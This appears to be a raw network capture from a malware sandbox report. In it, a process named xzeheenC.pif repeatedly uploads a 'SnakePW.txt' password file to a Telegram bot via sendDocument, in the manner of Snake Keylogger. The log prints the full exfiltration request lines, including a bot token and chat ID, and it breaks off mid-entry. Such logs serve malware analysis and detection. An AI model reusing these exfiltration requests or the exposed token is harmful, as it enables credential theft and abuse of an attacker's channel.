Ascii: --------------------------8dd2347cf9f5e67Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:35 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:36 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418976,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535115,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50058	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:35 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd236fb4dcf471 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:35 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 36 66 62 34 64 63 66 34 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd236fb4dcf471Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:36 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:36 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418978,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535116,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50059	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:35 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd268de6126dd3 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:35 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 36 38 64 65 36 31 32 36 64 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd268de6126dd3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:36 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:36 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:36 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418979,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535116,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50065	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:37 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd2391582c4776 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:37 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 39 31 35 38 32 63 34 37 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd2391582c4776Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:37 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:38 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418982,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535117,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50066	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:37 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd23b767e4612b Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:37 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 62 37 36 37 65 34 36 31 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd23b767e4612bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:38 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:38 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418984,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535118,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50067	149.154.167.220	443	6656	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:37 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd271102821989 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:37 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 37 31 31 30 32 38 32 31 39 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 36 3a 34 38 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd271102821989Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:16:48Client IP:
2024-12-18 15:18:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:38 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:38 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418985,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535118,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50072	149.154.167.220	443	2140	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:39 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd23ee6cc60601 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:39 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 33 65 65 36 63 63 36 30 36 30 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 35 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd23ee6cc60601Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:05Client IP:
2024-12-18 15:18:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:39 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:40 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 31 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":418988,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1734535119,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50073	149.154.167.220	443	432	C:\Users\Public\Libraries\xzeheenC.pif

Timestamp	Bytes transferred	Direction	Data
2024-12-18 15:18:39 UTC	328	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd241d958a93e9 Host: api.telegram.org Content-Length: 535
2024-12-18 15:18:39 UTC	535	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 32 34 31 64 39 35 38 61 39 33 65 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 32 34 34 30 36 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 31 38 2f 31 32 2f 32 30 32 34 20 2f 20 31 30 3a 31 37 3a 30 30 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8dd241d958a93e9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:124406Date and Time: 18/12/2024 / 10:17:00Client IP:
2024-12-18 15:18:40 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Dec 2024 15:18:40 GMT Content-Type: application/json Content-Length: 515 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-18 15:18:40 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 31 38 39 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 34 35 33 35 31 32 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: 